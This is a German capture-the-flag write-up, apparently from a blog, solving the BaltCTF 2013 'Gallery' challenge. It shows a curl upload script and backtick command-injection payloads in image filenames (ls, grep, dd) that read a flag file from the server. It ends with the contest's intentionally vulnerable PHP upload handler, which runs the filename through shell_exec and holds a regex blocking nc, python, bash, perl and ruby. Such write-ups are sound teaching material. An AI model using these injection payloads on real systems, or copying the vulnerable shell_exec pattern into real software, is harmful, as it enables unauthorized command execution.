BaltCTF 2013 – Gallery

BaltCTF 2013 - Gallery - task description

Bei der “Gallery” – Challenge erhalten wir nur eine Webseite und müssen anschließend selbst heraus finden, wo und wie wir an die Flagge gelangen. Das direkte Aufrufen der URL liefert dieses Ergebnis:

BaltCTF 2013 - Gallery - Website

Es handelt sich um eine Seite, auf der wir Bilder hochladen und – in einer Gallerie – speichern können. Sobald wir den Link zum Hochladen eines Bildes anklicken, erscheint das entsprechende Formular:

BaltCTF 2013 - Gallery - Upload pictures form

Wir werden darauf hingewiesen, dass nur Dateien mit den Endungen “.gif” und “.png” erlaubt sind. Es drängt sich die Frage auf, ob vielleicht auch andere Dateiendungen, zum Beispiel “.php”, hochgeladen werden können. Damit wäre es möglich, eigene Skripte und damit Kommandos auf dem Server auszuführen und die Flagge zu suchen.

Trotz aller Versuche, gelingt uns im besten Fall jedoch nur ein zusätzlicher Upload von Dateien mit der Endung “.jpg”. Alle anderen Dateitypen und “Content-Types” werden mit der Meldung “File corrupt!” quittiert. Wir müssen also einen anderen Weg finden.

Beim Testen von Dateinamen mit Sonderzeichen, fällt auf, dass Anführungszeichen zu einem merkwürdigen Verhalten führt. Die Dateinamen verschwinden teilweise oder kompless aus der Gallerie, was wie folgt zu beobachten ist:

BaltCTF 2013 - Gallery - strange filenames

Wir entwickeln daher ein kleines Bash-Skript, mit dem noch gezielter das Verhalten beim Ändern von Upload-Parametern getestet werden kann.

#!/bin/sh

POST='file=@test.php;filename=test!"§$%&/()=.png;type=image/png'

curl -L -b cookie -c cookie -F "$POST" "http://194.106.195.60:9280/upload_file.php"

echo

Durch weitere Versuche mit diesem Skript finden wir heraus, dass sich im Dateinamen Konsolen-Kommandos absetzen lassen. Zum Beispiel durch die Wahl folgenden Dateinamens im Bash-Skript:

filename="`ls`".png;

Hier lässt sich das Kommando “ls” zum Auflisten von Verzeichnisinhalten ausführen. Das Ergebnis können wir in der Gallerie selbst beobachten:

BaltCTF 2013 - Gallery - directory listing

Hier sehen wir direkt den Inhalt des Webverzeichnisses. Nun geht es daran, die Flagge zu finden! Weitere Versuche zeigen, dass die Kommandos jedoch teilweise in der Ausgabe auf 16 Zeichen pro Zeile begrenzt sind und einen Timeout für die Ausführung besitzen. Ein einfaches “cat *” funktioniert daher nicht.

Da wir jedoch das Format der Flagge kennen (nämlich 32 hexadezimale Zeichen), können wir mit “grep” einige Filterungen auf die Dateiinhalte unternehmen:

filename="`grep [a-f0-9]\{32\}`".png

Die Angabe dieses Dateinamens, der einen Filter auf das exakte Flaggenformat beinhaltet,  liefert als Ergebnis folgenden Dateinamen:

BaltCTF 2013 - Gallery - grep to find the flag

Aha! Die Flagge befindet sich also in der Datei “picture” direkt im Verzeichnis des Webservers. Da die Ausgabe auf 16 Zeichen beschränkt ist, gelingt jedoch ein “cat picture” ebenfalls nicht. Der Umweg liegt im schrittweisen Auslesen der Datei mit dem Tool “dd”:

filename="`dd if=picture bs=1 count=10`".png
filename="`dd if=picture bs=1 count=10 skip=10`".png
filename="`dd if=picture bs=1 count=10 skip=20`".png
filename="`dd if=picture bs=1 count=10 skip=30`".png

Anschließend können wir die Bestandteile der Flag einzeln in der Gallerie auslesen:

BaltCTF 2013 - Gallery - solution

Die Lösung lautet somit: “c5e7b971c62296dcae64fb7fabf169c6“.

UPDATE (17.05.2013): Nach dem Wettkampf wurde der Quellcode veröffentlicht. Wer Interesse hat, kann sich zum Verständnis deshalb zusätzlich die “upload_file.php” ansehen:

<?php 
  session_start(); 
  $sid = session_id(); 
  $tmpdir = sys_get_temp_dir(); 
  $tmpfname = tempnam($tmpdir, "web"); 
  $userdir = "uploads/$sid"; 
  if (!is_dir($userdir)) { 
    mkdir($userdir); 
  } 
  $ext = end(explode(".", $_FILES["file"]["name"])); 
  $file = $_FILES["file"]; 
  $name = $file["name"]; 
  $file_name = substr($name, 0, strrpos($name, ".")); 
 
  function get_ext($type){ 
    if ($type == "image/gif")   return "gif"; 
    if ($type == "image/jpeg")  return "jpeg"; 
    if ($type == "image/jpg")   return "jpg"; 
    if ($type == "image/pjpeg") return "jpeg"; 
    if ($type == "image/x-png") return "png"; 
    if ($type == "image/png")   return "png"; 
    return ""; 
  } 
 
  function check_ext($ext, $type_ext){ 
    $allowedExts = array("gif","jpeg", "jpg", "png"); 
    return ($ext == $type_ext) && in_array($ext, $allowedExts); 
  } 
 
  $pattern1 = '/.*`(nc .*|python [a-zA-Z0-9]*|bash [a-zA-Z0-9]*|perl [a-zA-Z0-9]*|ruby [a-zA-Z0-9]*)`.*/'; 
  $type_ext = get_ext($file["type"]); 
 
  if (preg_match($pattern1,$file_name)) {  
    echo "Command prohibited : nc; python; bash; perl; ruby;"; 
  } else {  

    if (   ($file["size"] < (1024*1024*3)) && check_ext($ext, $type_ext)) { 
          
      if ($file["error"] > 0) { 
        echo "Return Code: " . $file["error"] . "<br>"; 
      } else { 
        $c = strval(count(scandir($userdir))-2); 
        move_uploaded_file($file["tmp_name"], $tmpfname); 
        shell_exec("mv $tmpfname $userdir/$c-\"\$(echo $file_name | cut -c1-16)\".$ext"); 
        header('Refresh: 1; URL=main.php'); 
      } 
    } else { 
      echo "$file_name: File corrupt"; 
    } 
  } 
?>

Leave a Reply

Your email address will not be published. Required fields are marked *